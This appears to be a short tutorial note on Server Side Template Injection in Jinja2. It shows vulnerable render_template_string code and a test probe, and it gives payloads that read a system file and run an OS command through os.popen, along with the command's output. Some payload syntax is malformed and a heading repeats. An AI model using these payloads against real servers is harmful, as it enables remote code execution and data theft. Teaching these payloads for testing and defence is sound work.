Server Side Template Injection

SSTI Occurs when a User is able to pass in a parameter that can control the Template Engine that is running on the Server.

Vulnerable Code: Different template engines have different injection PAYLOADS. In this case we can Test the Vulnerability with {{2+2}}

<html>
<body>
    <form action="/" method="post">
        First name:<br>
        <input type="text" name="name" value="">
        <input type="submit" value="Submit">
    </form>
    <p></p>
</body>
</html>
	
return render_template_string(template)

Manual Exploitation

This Section Applies to Jinja2

For automated exploitation use the Tool TPLMAP.

The PAYLOAD load's the File Object in Python.

{{ ''.__class__.__mro__[2].__subclasses__()[40]()(/etc/password).read()}}

The PAYLOAD Import's the OS Module, and Run's a Command using the Popen Method.

{{config.__class__.__init__.__globals__['os'].popen(hostnamectl).read()}}

<html>
<body>
    <form action="/" method="post">
        First name:<br>
        <input type="text" name="name" value="">
        <input type="submit" value="Submit">
    </form>
    <p>
        Static hostname: netlink
        Icon name: computer-vm
        Chassis: vm
        Machine ID: f589fe33e4b649fd9cbc222f5a19d5a4
        Boot ID: a9bc374573784f718f0d39deee65f014
        Virtualization: xen
        Operating System: Ubuntu 18.04.4 LTS
        Kernel: Linux 4.15.0-76-generic
        Architecture: x86-64
    </p>
</body>
</html>

Manual Exploitation​

Manual Exploitation